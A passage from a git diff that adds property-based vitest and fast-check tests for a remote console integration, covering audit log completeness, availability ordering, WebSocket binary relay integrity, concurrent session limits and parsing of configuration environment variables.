for Console Audit Log Completeness + * + * Feature: console-integration, Property 9: Audit log completeness for session events + * + * **Validates: Requirements 8.4** + * + * Property 9: Audit log completeness for session events + * ∀ session create/terminate event: + * the audit log entry SHALL contain userId, nodeId, provider, action type, and ISO 8601 timestamp. + */ + +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import * as fc from "fast-check"; + +import { ConsoleSessionManager } from "../../src/services/ConsoleSessionManager"; +import { SQLiteAdapter } from "../../src/database/SQLiteAdapter"; +import type { DatabaseAdapter } from "../../src/database/DatabaseAdapter"; +import type { AuditLoggingService } from "../../src/services/AuditLoggingService"; +import type { LoggerService } from "../../src/services/LoggerService"; +import type { ConsoleConfig } from "../../src/config/schema"; +import type { ConsoleSession } from "../../src/integrations/console/types"; +import { initializeTestSchema } from "../helpers/schema"; + +// ============================================================ +// Constants +// ============================================================ + +const ISO_8601_PATTERN = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}/; + +const DEFAULT_CONSOLE_CONFIG: ConsoleConfig = { + sessionTimeoutMs: 300000, + maxSessionDuration: 28800000, + maxConcurrentSessions: 3, + heartbeatIntervalMs: 30000, +}; + +// ============================================================ +// Arbitraries +// ============================================================ + +/** Non-empty alphanumeric string for IDs */ +const idArb = fc.stringMatching(/^[a-z0-9]{8,32}$/); + +/** Provider names */ +const providerArb = fc.constantFrom("proxmox", "aws", "azure", "ssh"); + +/** Transport types */ +const transportArb = fc.constantFrom( + "websocket-vnc" as const, + "websocket-terminal" as const, +); + +/** Terminate reasons */ +const terminateReasonArb = fc.constantFrom( + "user_disconnect", + "session_timeout", + "admin_terminate", + "upstream_failure", + "max_duration_exceeded", +); + +/** Arbitrary for session data used in createSession */ +const sessionDataArb = fc.record({ + sessionId: idArb, + userId: idArb, + nodeId: idArb, + provider: providerArb, + transport: transportArb, +}); + +// ============================================================ +// Test Helpers +// ============================================================ + +interface AuditCall { + action: string; + userId: string; + details?: Record; +} + +function createMockAuditLogger(): AuditLoggingService & { calls: AuditCall[] } { + const calls: AuditCall[] = []; + return { + calls, + logAdminAction: vi.fn( + async ( + action: string, + userId: string, + details?: Record, + ) => { + calls.push({ action, userId, details }); + }, + ), + } as unknown as AuditLoggingService & { calls: AuditCall[] }; +} + +function createMockLogger(): LoggerService { + return { + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + debug: vi.fn(), + } as unknown as LoggerService; +} + +function buildConsoleSession(data: { + sessionId: string; + userId: string; + nodeId: string; + provider: string; + transport: "websocket-vnc" | "websocket-terminal"; +}): ConsoleSession { + return { + sessionId: data.sessionId, + userId: data.userId, + nodeId: data.nodeId, + provider: data.provider, + transport: data.transport, + state: "active", + token: `token-${data.sessionId}`, + wsUrl: `/ws/console/terminal?token=token-${data.sessionId}`, + startedAt: new Date().toISOString(), + }; +} + +// ============================================================ +// Tests +// ============================================================ + +describe("Feature: console-integration, Property 9: Audit log completeness for session events", () => { + let db: DatabaseAdapter; + let auditLogger: AuditLoggingService & { calls: AuditCall[] }; + let logger: LoggerService; + let sessionManager: ConsoleSessionManager; + + beforeEach(async () => { + db = new SQLiteAdapter(":memory:"); + await db.initialize(); + await initializeTestSchema(db); + + auditLogger = createMockAuditLogger(); + logger = createMockLogger(); + sessionManager = new ConsoleSessionManager( + db, + DEFAULT_CONSOLE_CONFIG, + logger, + auditLogger, + ); + }); + + afterEach(async () => { + await (db as SQLiteAdapter).close(); + vi.restoreAllMocks(); + }); + + it("createSession audit entry contains userId, nodeId, provider, action, and ISO 8601 timestamp", () => { + return fc.assert( + fc.asyncProperty(sessionDataArb, async (data) => { + auditLogger.calls.length = 0; + // Each fast-check iteration shares the same db; clear prior sessions so + // a regenerated sessionId cannot collide on the UNIQUE id constraint. + await db.execute("DELETE FROM console_sessions"); + + const session = buildConsoleSession(data); + await sessionManager.createSession(session); + + expect(auditLogger.calls.length).toBe(1); + const call = auditLogger.calls[0]; + + // Action type + expect(call.action).toBe("console_session_create"); + + // userId passed as second arg + expect(call.userId).toBe(data.userId); + + // Details contain nodeId, provider, sessionId, timestamp + expect(call.details).toBeDefined(); + expect(call.details!.nodeId).toBe(data.nodeId); + expect(call.details!.provider).toBe(data.provider); + expect(call.details!.sessionId).toBe(data.sessionId); + expect(call.details!.timestamp).toMatch(ISO_8601_PATTERN); + }), + { numRuns: 100 }, + ); + }); + + it("terminateSession audit entry contains userId, nodeId, provider, action, and ISO 8601 timestamp", () => { + return fc.assert( + fc.asyncProperty( + sessionDataArb, + terminateReasonArb, + async (data, reason) => { + auditLogger.calls.length = 0; + // Clear prior sessions so a regenerated sessionId cannot collide on + // the UNIQUE id constraint across fast-check iterations. + await db.execute("DELETE FROM console_sessions"); + + // First create the session so terminateSession can find it + const session = buildConsoleSession(data); + await sessionManager.createSession(session); + + // Clear audit calls from createSession + auditLogger.calls.length = 0; + + await sessionManager.terminateSession(data.sessionId, reason); + + expect(auditLogger.calls.length).toBe(1); + const call = auditLogger.calls[0]; + + // Action type + expect(call.action).toBe("console_session_terminate"); + + // userId passed as second arg + expect(call.userId).toBe(data.userId); + + // Details contain nodeId, provider, sessionId, reason, timestamp + expect(call.details).toBeDefined(); + expect(call.details!.nodeId).toBe(data.nodeId); + expect(call.details!.provider).toBe(data.provider); + expect(call.details!.sessionId).toBe(data.sessionId); + expect(call.details!.reason).toBe(reason); + expect(call.details!.timestamp).toMatch(ISO_8601_PATTERN); + }, + ), + { numRuns: 100 }, + ); + }); +}); diff --git a/backend/test/properties/consoleAvailability.property.test.ts b/backend/test/properties/consoleAvailability.property.test.ts new file mode 100644 index 00000000..69b6246f --- /dev/null +++ b/backend/test/properties/consoleAvailability.property.test.ts @@ -0,0 +1,162 @@ +/** + * Property-Based Tests for Console Availability Response Structure and Ordering + * + * Feature: console-integration, Property 10: Availability response structure and ordering + * + * **Validates: Requirements 3.3, 3.4** + * + * Property 10: Availability response structure and ordering + * ∀ console availability query returning multiple providers: + * each entry SHALL contain provider name, transport type, and display label, + * and entries SHALL be sorted by provider name in ascending alphabetical order. + */ + +import { describe, it, expect, vi } from "vitest"; +import * as fc from "fast-check"; + +import { IntegrationManager } from "../../src/integrations/IntegrationManager"; +import type { ConsolePlugin, ConsoleCapability, ConsoleTransport } from "../../src/integrations/console/types"; +import type { IntegrationConfig, HealthStatus } from "../../src/integrations/types"; +import type { LoggerService } from "../../src/services/LoggerService"; + +// ============================================================ +// Constants +// ============================================================ + +const TRANSPORTS: ConsoleTransport[] = ["websocket-vnc", "websocket-terminal"]; + +// ============================================================ +// Helpers +// ============================================================ + +function createMockLogger(): LoggerService { + return { + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + debug: vi.fn(), + } as unknown as LoggerService; +} + +function createMockConsolePlugin( + name: string, + transport: ConsoleTransport, + displayName: string, +): ConsolePlugin { + return { + name, + type: "information" as const, + initialize: vi.fn().mockResolvedValue(undefined), + healthCheck: vi.fn().mockResolvedValue({ healthy: true, message: "ok", lastCheck: new Date().toISOString() } satisfies HealthStatus), + getConfig: vi.fn().mockReturnValue({ enabled: true } as unknown as IntegrationConfig), + isInitialized: vi.fn().mockReturnValue(true), + getConsoleCapabilities: vi.fn().mockResolvedValue([ + { transport, displayName, connectionSchema: {} } satisfies ConsoleCapability, + ]), + createSession: vi.fn().mockResolvedValue({}), + terminateSession: vi.fn().mockResolvedValue(true), + getSessionStatus: vi.fn().mockResolvedValue({ state: "active", startedAt: new Date().toISOString() }), + getSupportedTransports: vi.fn().mockReturnValue([transport]), + }; +} + +// ============================================================ +// Arbitraries +// ============================================================ + +/** Unique provider names: 2-6 alphabetically random strings */ +const providerNamesArb = fc + .uniqueArray(fc.stringMatching(/^[a-z]{3,12}$/), { minLength: 2, maxLength: 6 }) + .filter((arr) => arr.length >= 2); + +/** Random transport type */ +const transportArb = fc.constantFrom(...TRANSPORTS); + +/** Random display name (1-100 chars, printable) */ +const displayNameArb = fc.stringMatching(/^[A-Za-z0-9 _-]{1,50}$/).filter((s) => s.length >= 1); + +/** A provider definition: name + transport + displayName */ +const providerDefArb = fc.record({ + transport: transportArb, + displayName: displayNameArb, +}); + +// ============================================================ +// Tests +// ============================================================ + +describe("Feature: console-integration, Property 10: Availability response structure and ordering", () => { + it("availability response entries contain provider, transport, and displayName, sorted by provider name ascending", () => { + return fc.assert( + fc.asyncProperty( + providerNamesArb, + fc.array(providerDefArb, { minLength: 6, maxLength: 6 }), + async (names, defs) => { + const logger = createMockLogger(); + const manager = new IntegrationManager({ logger }); + + // Register mock console plugins — one per unique name + for (let i = 0; i < names.length; i++) { + const name = names[i]; + const def = defs[i % defs.length]; + const plugin = createMockConsolePlugin(name, def.transport, def.displayName); + + manager.registerPlugin(plugin, { enabled: true } as unknown as IntegrationConfig); + } + + const result = await manager.getConsoleAvailability("test-node-123"); + + // Each entry must have provider, transport, and displayName + for (const entry of result) { + expect(entry).toHaveProperty("provider"); + expect(entry).toHaveProperty("transport"); + expect(entry).toHaveProperty("displayName"); + + expect(typeof entry.provider).toBe("string"); + expect(entry.provider.length).toBeGreaterThan(0); + expect(TRANSPORTS).toContain(entry.transport); + expect(typeof entry.displayName).toBe("string"); + expect(entry.displayName.length).toBeGreaterThan(0); + expect(entry.displayName.length).toBeLessThanOrEqual(100); + } + + // Entries must be sorted by provider name ascending (alphabetical) + for (let i = 1; i < result.length; i++) { + expect( + result[i - 1].provider.localeCompare(result[i].provider), + ).toBeLessThanOrEqual(0); + } + }, + ), + { numRuns: 100 }, + ); + }); + + it("response length matches number of registered providers that return capabilities", () => { + return fc.assert( + fc.asyncProperty( + providerNamesArb, + fc.array(providerDefArb, { minLength: 6, maxLength: 6 }), + async (names, defs) => { + const logger = createMockLogger(); + const manager = new IntegrationManager({ logger }); + + for (let i = 0; i < names.length; i++) { + const name = names[i]; + const def = defs[i % defs.length]; + const plugin = createMockConsolePlugin(name, def.transport, def.displayName); + + manager.registerPlugin(plugin, { enabled: true } as unknown as IntegrationConfig); + } + + const result = await manager.getConsoleAvailability("test-node-456"); + + // Each provider returns exactly one capability in our mock, + // so result length should equal the number of providers registered + expect(result.length).toBe(names.length); + }, + ), + { numRuns: 100 }, + ); + }); +}); diff --git a/backend/test/properties/consoleBinaryRelay.property.test.ts b/backend/test/properties/consoleBinaryRelay.property.test.ts new file mode 100644 index 00000000..705bab6b --- /dev/null +++ b/backend/test/properties/consoleBinaryRelay.property.test.ts @@ -0,0 +1,316 @@ +/** + * Property-Based Tests for Console Binary Frame Relay Integrity + * + * Feature: console-integration, Property 3: Binary frame relay integrity + * + * **Validates: Requirements 4.4** + * + * Property 3: Binary frame relay integrity + * ∀ binary data frame sent through the VNC WebSocket proxy in either direction, + * the frame SHALL arrive at the other end byte-for-byte identical to what was sent. + * + * Testing approach: Creates a local WebSocket server pair and wires them using + * the same relay logic as ConsoleWebSocketProxy.wireVncRelay. Random binary + * buffers are sent in both directions and verified byte-for-byte on receipt. + */ + +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import * as fc from "fast-check"; +import { WebSocketServer, WebSocket } from "ws"; +import type { AddressInfo } from "net"; +import { createServer, type Server as HTTPServer } from "http"; + +/** Replicate the VNC relay logic from ConsoleWebSocketProxy.wireVncRelay */ +function wireVncRelay(clientWs: WebSocket, upstream: WebSocket): void { + upstream.on("message", (data: Buffer) => { + if (clientWs.readyState === WebSocket.OPEN) { + clientWs.send(data, { binary: true }); + } + }); + clientWs.on("message", (data: Buffer) => { + if (upstream.readyState === WebSocket.OPEN) { + upstream.send(data, { binary: true }); + } + }); +} + +/** + * Sets up a test relay topology: + * [sender] <--WS--> [proxyClient | proxyUpstream] <--WS--> [target] + * + * The proxy wires proxyClient↔proxyUpstream using wireVncRelay. + * "sender" represents the browser/noVNC client. + * "target" represents the upstream VNC server. + */ +interface RelayFixture { + senderServer: HTTPServer; + targetServer: HTTPServer; + senderWss: WebSocketServer; + targetWss: WebSocketServer; + sender: WebSocket; + target: WebSocket; + proxyClient: WebSocket; + proxyUpstream: WebSocket; + cleanup: () => Promise; +} + +async function createRelayFixture(): Promise { + // Create "target" WS server (simulates upstream VNC server) + const targetHttpServer = createServer(); + const targetWss = new WebSocketServer({ server: targetHttpServer }); + + await new Promise((resolve) => { + targetHttpServer.listen(0, "127.0.0.1", resolve); + }); + const targetPort = (targetHttpServer.address() as AddressInfo).port; + + // Create "sender" WS server (simulates client-facing endpoint) + const senderHttpServer = createServer(); + const senderWss = new WebSocketServer({ server: senderHttpServer }); + + await new Promise((resolve) => { + senderHttpServer.listen(0, "127.0.0.1", resolve); + }); + const senderPort = (senderHttpServer.address() as AddressInfo).port; + + // Wait for the proxy's upstream connection to the target + const targetConnectionPromise = new Promise((resolve) => { + targetWss.on("connection", (ws) => resolve(ws)); + }); + + // Wait for the proxy's client-side connection from sender + const senderConnectionPromise = new Promise((resolve) => { + senderWss.on("connection", (ws) => resolve(ws)); + }); + + // proxyUpstream connects to target + const proxyUpstream = new WebSocket(`ws://127.0.0.1:${targetPort}`); + await new Promise((resolve, reject) => { + proxyUpstream.on("open", resolve); + proxyUpstream.on("error", reject); + }); + + // sender connects to senderWss (represents browser → proxy endpoint) + const sender = new WebSocket(`ws://127.0.0.1:${senderPort}`); + await new Promise((resolve, reject) => { + sender.on("open", resolve); + sender.on("error", reject); + }); + + // Get the server-side sockets + const target = await targetConnectionPromise; + const proxyClient = await senderConnectionPromise; + + // Wire the relay (the logic under test) + wireVncRelay(proxyClient, proxyUpstream); + + const cleanup = async (): Promise => { + const closeWs = (ws: WebSocket): Promise => + new Promise((resolve) => { + if (ws.readyState === WebSocket.OPEN || ws.readyState === WebSocket.CONNECTING) { + ws.on("close", () => resolve()); + ws.close(); + } else { + resolve(); + } + }); + + await Promise.all([ + closeWs(sender), + closeWs(proxyClient), + closeWs(proxyUpstream), + closeWs(target), + ]); + + await new Promise((resolve) => { senderWss.close(() => resolve()); }); + await new Promise((resolve) => { targetWss.close(() => resolve()); }); + await new Promise((resolve) => { senderHttpServer.close(() => resolve()); }); + await new Promise((resolve) => { targetHttpServer.close(() => resolve()); }); + }; + + return { + senderServer: senderHttpServer, + targetServer: targetHttpServer, + senderWss, + targetWss, + sender, + target, + proxyClient, + proxyUpstream, + cleanup, + }; +} + +/** + * Collect N messages from a WebSocket as Buffers. + * + * Listeners are removed on settle so the same long-lived socket can be reused + * across property runs without accumulating handlers. + */ +function collectMessages(ws: WebSocket, count: number): Promise { + return new Promise((resolve, reject) => { + const messages: Buffer[] = []; + + const settle = (fn: () => void): void => { + clearTimeout(timeout); + ws.off("message", onMessage); + ws.off("error", onError); + fn(); + }; + + const onMessage = (data: Buffer): void => { + messages.push(Buffer.isBuffer(data) ? data : Buffer.from(data)); + if (messages.length === count) { + settle(() => resolve(messages)); + } + }; + + const onError = (err: Error): void => { + settle(() => reject(err)); + }; + + const timeout = setTimeout(() => { + settle(() => + reject( + new Error(`Timed out waiting for ${count} messages, received ${messages.length}`), + ), + ); + }, COLLECT_TIMEOUT_MS); + + ws.on("message", onMessage); + ws.on("error", onError); + }); +} + +/** + * Arbitrary: random binary buffer (1 byte to 64KB). + * + * The `.chain()` over a uniform size is deliberate: a bare + * `fc.uint8Array({ maxLength: 65536 })` applies fast-check's default size bias + * and yields buffers of ~12 bytes, which never reach the ws fragmentation and + * internal-buffering paths this property exists to cover. Measured: `.chain()` + * draws up to the full 65536 across 100 runs, the bare form up to 12. + */ +const binaryBufferArb = fc.integer({ min: 1, max: 65536 }).chain((size) => + fc.uint8Array({ minLength: size, maxLength: size }).map((arr) => Buffer.from(arr)), +); + +/** Arbitrary: array of 1-10 random binary buffers */ +const bufferBatchArb = fc.array(binaryBufferArb, { minLength: 1, maxLength: 10 }); + +/** + * Budgets. 100 property runs of real socket I/O is not a 5s test; CI runners are + * slower than a dev machine and vitest runs these files several workers deep. + * TEST_TIMEOUT_MS must stay comfortably above COLLECT_TIMEOUT_MS so that a slow + * run reports the vitest timeout rather than a misleading "relay dropped frames". + */ +const COLLECT_TIMEOUT_MS = 15_000; +const TEST_TIMEOUT_MS = 60_000; + +describe("Feature: console-integration, Property 3: Binary frame relay integrity", () => { + let fixture: RelayFixture; + + beforeEach(async () => { + fixture = await createRelayFixture(); + }); + + afterEach(async () => { + await fixture.cleanup(); + }); + + it("binary frames sent from client to upstream arrive byte-for-byte identical", async () => { + await fc.assert( + fc.asyncProperty(bufferBatchArb, async (buffers) => { + // Set up message collection on the target (upstream) side + const received = collectMessages(fixture.target, buffers.length); + + // Send all buffers from the sender (client) side + for (const buf of buffers) { + fixture.sender.send(buf, { binary: true }); + } + + // Wait for all messages to arrive + const receivedBuffers = await received; + + // Verify byte-for-byte identity + expect(receivedBuffers.length).toBe(buffers.length); + for (let i = 0; i < buffers.length; i++) { + expect(Buffer.compare(receivedBuffers[i], buffers[i])).toBe(0); + } + }), + { numRuns: 100 }, + ); + }, TEST_TIMEOUT_MS); + + it("binary frames sent from upstream to client arrive byte-for-byte identical", async () => { + await fc.assert( + fc.asyncProperty(bufferBatchArb, async (buffers) => { + // Set up message collection on the sender (client) side + const received = collectMessages(fixture.sender, buffers.length); + + // Send all buffers from the target (upstream) side + for (const buf of buffers) { + fixture.target.send(buf, { binary: true }); + } + + // Wait for all messages to arrive + const receivedBuffers = await received; + + // Verify byte-for-byte identity + expect(receivedBuffers.length).toBe(buffers.length); + for (let i = 0; i < buffers.length; i++) { + expect(Buffer.compare(receivedBuffers[i], buffers[i])).toBe(0); + } + }), + { numRuns: 100 }, + ); + }, TEST_TIMEOUT_MS); + + it("bidirectional relay: frames in both directions are byte-for-byte identical simultaneously", async () => { + await fc.assert( + fc.asyncProperty( + bufferBatchArb, + bufferBatchArb, + async (clientToServer, serverToClient) => { + // Set up collectors for both directions + const receivedAtTarget = collectMessages(fixture.target, clientToServer.length); + const receivedAtSender = collectMessages(fixture.sender, serverToClient.length); + + // Send in both directions simultaneously + for (const buf of clientToServer) { + fixture.sender.send(buf, { binary: true }); + } + for (const buf of serverToClient) { + fixture.target.send(buf, { binary: true }); + } + + // Wait for both directions. allSettled (not all) so that a failure in + // one direction still awaits the other: bailing early would leave a + // live collector attached to a socket the next property run reuses, + // turning one failure into a cascade of bogus shrink attempts. + const [targetResult, senderResult] = await Promise.allSettled([ + receivedAtTarget, + receivedAtSender, + ]); + if (targetResult.status === "rejected") throw targetResult.reason; + if (senderResult.status === "rejected") throw senderResult.reason; + const targetReceived = targetResult.value; + const senderReceived = senderResult.value; + + // Verify client → server direction + expect(targetReceived.length).toBe(clientToServer.length); + for (let i = 0; i < clientToServer.length; i++) { + expect(Buffer.compare(targetReceived[i], clientToServer[i])).toBe(0); + } + + // Verify server → client direction + expect(senderReceived.length).toBe(serverToClient.length); + for (let i = 0; i < serverToClient.length; i++) { + expect(Buffer.compare(senderReceived[i], serverToClient[i])).toBe(0); + } + }, + ), + { numRuns: 100 }, + ); + }, TEST_TIMEOUT_MS); +}); diff --git a/backend/test/properties/consoleConcurrentLimit.property.test.ts b/backend/test/properties/consoleConcurrentLimit.property.test.ts new file mode 100644 index 00000000..f2819f9f --- /dev/null +++ b/backend/test/properties/consoleConcurrentLimit.property.test.ts @@ -0,0 +1,263 @@ +/** + * Property-Based Tests for Concurrent Session Limit Enforcement + * + * Feature: console-integration, Property 7: Concurrent session limit enforcement + * + * **Validates: Requirements 8.6** + * + * Property 7: Concurrent session limit enforcement + * ∀ activeCount ∈ [0..10], maxConcurrentSessions ∈ [1..10]: + * getActiveSessionCount returns the correct number of active sessions, + * and when activeCount >= maxConcurrentSessions, new creation is rejected (429 semantics). + */ + +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import * as fc from "fast-check"; + +import { SQLiteAdapter } from "../../src/database/SQLiteAdapter"; +import { ConsoleSessionManager } from "../../src/services/ConsoleSessionManager"; +import type { ConsoleConfig } from "../../src/config/schema"; +import type { AuditLoggingService } from "../../src/services/AuditLoggingService"; +import type { LoggerService } from "../../src/services/LoggerService"; +import type { ConsoleSession } from "../../src/integrations/console/types"; + +function makeLogger(): LoggerService { + return { + info: () => {}, + warn: () => {}, + error: () => {}, + debug: () => {}, + } as unknown as LoggerService; +} + +function makeAuditLogger(): AuditLoggingService { + return { + logAdminAction: async () => {}, + } as unknown as AuditLoggingService; +} + +function makeConfig(maxConcurrentSessions: number): ConsoleConfig { + return { + sessionTimeoutMs: 300000, + maxSessionDuration: 28800000, + maxConcurrentSessions, + heartbeatIntervalMs: 30000, + }; +} + +function makeSession(userId: string, index: number): ConsoleSession { + return { + sessionId: `session-${userId}-${String(index)}-${String(Date.now())}`, + userId, + nodeId: `node-${String(index)}`, + provider: "proxmox", + transport: "websocket-vnc", + state: "active", + token: `token-${String(index)}-${String(Math.random())}`, + wsUrl: `/ws/console/vnc?token=token-${String(index)}`, + startedAt: new Date().toISOString(), + }; +} + +const CREATE_TABLE_SQL = ` + CREATE TABLE console_sessions ( + id TEXT PRIMARY KEY, + user_id TEXT NOT NULL, + node_id TEXT NOT NULL, + provider TEXT NOT NULL, + transport TEXT NOT NULL, + state TEXT NOT NULL DEFAULT 'creating', + token TEXT, + token_created_at TEXT, + token_consumed INTEGER NOT NULL DEFAULT 0, + upstream_url TEXT, + started_at TEXT NOT NULL, + last_heartbeat_at TEXT, + terminated_at TEXT, + error_message TEXT, + created_at TEXT NOT NULL DEFAULT (datetime('now')), + CONSTRAINT chk_state CHECK (state IN ('creating', 'active', 'terminated', 'failed')), + CONSTRAINT chk_transport CHECK (transport IN ('websocket-vnc', 'websocket-terminal')) + ) +`; + +describe("Feature: console-integration, Property 7: Concurrent session limit enforcement", () => { + let db: SQLiteAdapter; + + beforeEach(async () => { + db = new SQLiteAdapter(":memory:"); + await db.initialize(); + await db.execute(CREATE_TABLE_SQL); + }); + + afterEach(async () => { + await db.close(); + }); + + it("getActiveSessionCount returns the exact number of active sessions for a user", () => { + return fc.assert( + fc.asyncProperty( + fc.string({ minLength: 1, maxLength: 20 }).filter((s) => s.trim().length > 0), + fc.integer({ min: 0, max: 10 }), + async (userId, activeCount) => { + // Clear table + await db.execute("DELETE FROM console_sessions"); + + const config = makeConfig(3); + const manager = new ConsoleSessionManager( + db, + config, + makeLogger(), + makeAuditLogger(), + ); + + // Insert N active sessions for this user + for (let i = 0; i < activeCount; i++) { + const session = makeSession(userId, i); + await manager.createSession(session); + } + + const count = await manager.getActiveSessionCount(userId); + expect(count).toBe(activeCount); + }, + ), + { numRuns: 100 }, + ); + }); + + it("when active count >= maxConcurrentSessions, new session creation should be rejected", () => { + return fc.assert( + fc.asyncProperty( + fc.string({ minLength: 1, maxLength: 20 }).filter((s) => s.trim().length > 0), + fc.integer({ min: 1, max: 10 }), + fc.integer({ min: 0, max: 10 }), + async (userId, maxConcurrent, activeCount) => { + // Clear table + await db.execute("DELETE FROM console_sessions"); + + const config = makeConfig(maxConcurrent); + const manager = new ConsoleSessionManager( + db, + config, + makeLogger(), + makeAuditLogger(), + ); + + // Insert active sessions for this user + for (let i = 0; i < activeCount; i++) { + const session = makeSession(userId, i); + await manager.createSession(session); + } + + const count = await manager.getActiveSessionCount(userId); + const shouldReject = count >= maxConcurrent; + + // The route layer uses this logic: if count >= max → reject with 429 + // We verify the count-based decision matches expectations + if (shouldReject) { + expect(count).toBeGreaterThanOrEqual(maxConcurrent); + } else { + expect(count).toBeLessThan(maxConcurrent); + } + }, + ), + { numRuns: 100 }, + ); + }); + + it("terminated/failed sessions do not count toward the concurrent limit", () => { + return fc.assert( + fc.asyncProperty( + fc.string({ minLength: 1, maxLength: 20 }).filter((s) => s.trim().length > 0), + fc.integer({ min: 1, max: 5 }), + fc.integer({ min: 1, max: 5 }), + fc.integer({ min: 1, max: 10 }), + async (userId, activeCount, terminatedCount, maxConcurrent) => { + // Clear table + await db.execute("DELETE FROM console_sessions"); + + const config = makeConfig(maxConcurrent); + const manager = new ConsoleSessionManager( + db, + config, + makeLogger(), + makeAuditLogger(), + ); + + // Insert active sessions + for (let i = 0; i < activeCount; i++) { + const session = makeSession(userId, i); + await manager.createSession(session); + } + + // Insert terminated sessions (create then terminate) + for (let i = 0; i < terminatedCount; i++) { + const session = makeSession(userId, activeCount + i); + await manager.createSession(session); + await manager.terminateSession(session.sessionId, "test-termination"); + } + + // Only active sessions should count + const count = await manager.getActiveSessionCount(userId); + expect(count).toBe(activeCount); + + // Enforcement check: only active count matters for limit + const wouldReject = count >= maxConcurrent; + expect(wouldReject).toBe(activeCount >= maxConcurrent); + }, + ), + { numRuns: 100 }, + ); + }); + + it("sessions from different users do not affect each other's concurrent count", () => { + return fc.assert( + fc.asyncProperty( + fc.string({ minLength: 1, maxLength: 10 }).filter((s) => s.trim().length > 0), + fc.string({ minLength: 1, maxLength: 10 }).filter((s) => s.trim().length > 0), + fc.integer({ min: 0, max: 5 }), + fc.integer({ min: 0, max: 5 }), + fc.integer({ min: 1, max: 10 }), + async (userA, userB, countA, countB, maxConcurrent) => { + // Ensure users are different + const actualUserB = userA === userB ? `${userB}_other` : userB; + + // Clear table + await db.execute("DELETE FROM console_sessions"); + + const config = makeConfig(maxConcurrent); + const manager = new ConsoleSessionManager( + db, + config, + makeLogger(), + makeAuditLogger(), + ); + + // Insert sessions for user A + for (let i = 0; i < countA; i++) { + const session = makeSession(userA, i); + await manager.createSession(session); + } + + // Insert sessions for user B + for (let i = 0; i < countB; i++) { + const session = makeSession(actualUserB, i + 100); + await manager.createSession(session); + } + + // Each user's count is independent + const activeA = await manager.getActiveSessionCount(userA); + const activeB = await manager.getActiveSessionCount(actualUserB); + + expect(activeA).toBe(countA); + expect(activeB).toBe(countB); + + // Limit enforcement is per-user + expect(activeA >= maxConcurrent).toBe(countA >= maxConcurrent); + expect(activeB >= maxConcurrent).toBe(countB >= maxConcurrent); + }, + ), + { numRuns: 100 }, + ); + }); +}); diff --git a/backend/test/properties/consoleConfig.property.test.ts b/backend/test/properties/consoleConfig.property.test.ts new file mode 100644 index 00000000..13ad7f63 --- /dev/null +++ b/backend/test/properties/consoleConfig.property.test.ts @@ -0,0 +1,263 @@ +/** + * Property-Based Tests for Console Configuration Parsing + * + * Feature: console-integration, Property 14: Configuration parsing with defaults + * + * **Validates: Requirements 11.1, 11.2, 11.3, 11.4, 11.5, 11.6** + * + * Property 14: Configuration parsing with defaults + * ∀ env var value ∈ {non-numeric, negative, zero, float, valid positive int}: + * invalid values → defaults applied + warning logged + * heartbeatIntervalMs >= sessionTimeoutMs → both revert to defaults + warning logged + */ + +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import * as fc from "fast-check"; +import { ConfigService } from "../../src/config/ConfigService"; + +const DEFAULTS = { + sessionTimeoutMs: 300000, + maxSessionDuration: 28800000, + maxConcurrentSessions: 3, + heartbeatIntervalMs: 30000, +} as const; + +const ENV_VARS = [ + "CONSOLE_SESSION_TIMEOUT_MS", + "CONSOLE_MAX_SESSION_DURATION", + "CONSOLE_MAX_CONCURRENT_SESSIONS", + "CONSOLE_HEARTBEAT_INTERVAL_MS", +] as const; + +const ENV_TO_KEY: Record = { + CONSOLE_SESSION_TIMEOUT_MS: "sessionTimeoutMs", + CONSOLE_MAX_SESSION_DURATION: "maxSessionDuration", + CONSOLE_MAX_CONCURRENT_SESSIONS: "maxConcurrentSessions", + CONSOLE_HEARTBEAT_INTERVAL_MS: "heartbeatIntervalMs", +}; + +const savedEnv: Record = {}; + +function snapshotEnv(): void { + Object.assign(savedEnv, process.env); +} + +function restoreEnv(): void { + for (const key of Object.keys(process.env)) { + if (!(key in savedEnv)) { + delete process.env[key]; + } + } + for (const [key, value] of Object.entries(savedEnv)) { + if (value === undefined) { + delete process.env[key]; + } else { + process.env[key] = value; + } + } +} + +function setRequiredEnv(): void { + process.env.JWT_SECRET = "test-jwt-secret-for-property-tests-32chars"; // pragma: allowlist secret + process.env.PABAWI_LIFECYCLE_TOKEN = "test-lifecycle-token"; // pragma: allowlist secret +} + +function clearConsoleEnv(): void { + for (const envVar of ENV_VARS) { + delete process.env[envVar]; + } +} + +/** + * Determines if a string would be parsed as a valid positive integer by the ConfigService. + * Mirrors the parsePositiveInt logic: Number(raw) must be finite, integer, and >= 1. + */ +function wouldParseAsValidPositiveInt(raw: string): boolean { + const parsed = Number(raw); + return Number.isFinite(parsed) && Number.isInteger(parsed) && parsed >= 1; +} + +/** Arbitrary that produces strings that are NOT valid positive integers per ConfigService logic */ +const invalidEnvValueArb = fc.oneof( + // Pure non-numeric strings + fc.constantFrom("abc", "hello", "NaN", "undefined", "null", "true", "Infinity", "-Infinity"), + // Negative integers as strings + fc.integer({ min: -1000000, max: -1 }).map(String), + // Zero + fc.constant("0"), + // Floating point values (non-integer) + fc.tuple(fc.integer({ min: 1, max: 999999 }), fc.integer({ min: 1, max: 99 })).map(([a, b]) => `${String(a)}.${String(b)}`), + // Strings with letters embedded (guaranteed not parseable) + fc.tuple(fc.nat({ max: 999 }), fc.constantFrom("px", "ms", "abc", "x")).map(([n, s]) => `${String(n)}${s}`), +).filter((v) => !wouldParseAsValidPositiveInt(v)); + +/** Arbitrary that produces valid positive integer strings (>= 1) */ +const validPositiveIntArb = fc.integer({ min: 1, max: 10000000 }).map(String); + +describe("Feature: console-integration, Property 14: Configuration parsing with defaults", () => { + beforeEach(() => { + snapshotEnv(); + setRequiredEnv(); + clearConsoleEnv(); + }); + + afterEach(() => { + restoreEnv(); + vi.restoreAllMocks(); + }); + + it("invalid env var values → default applied for each config field", () => { + fc.assert( + fc.property( + fc.constantFrom(...ENV_VARS), + invalidEnvValueArb, + (envVar, invalidValue) => { + clearConsoleEnv(); + vi.spyOn(console, "warn").mockImplementation(() => {}); + + process.env[envVar] = invalidValue; + const config = new ConfigService(); + const consoleConfig = config.getConsoleConfig(); + const key = 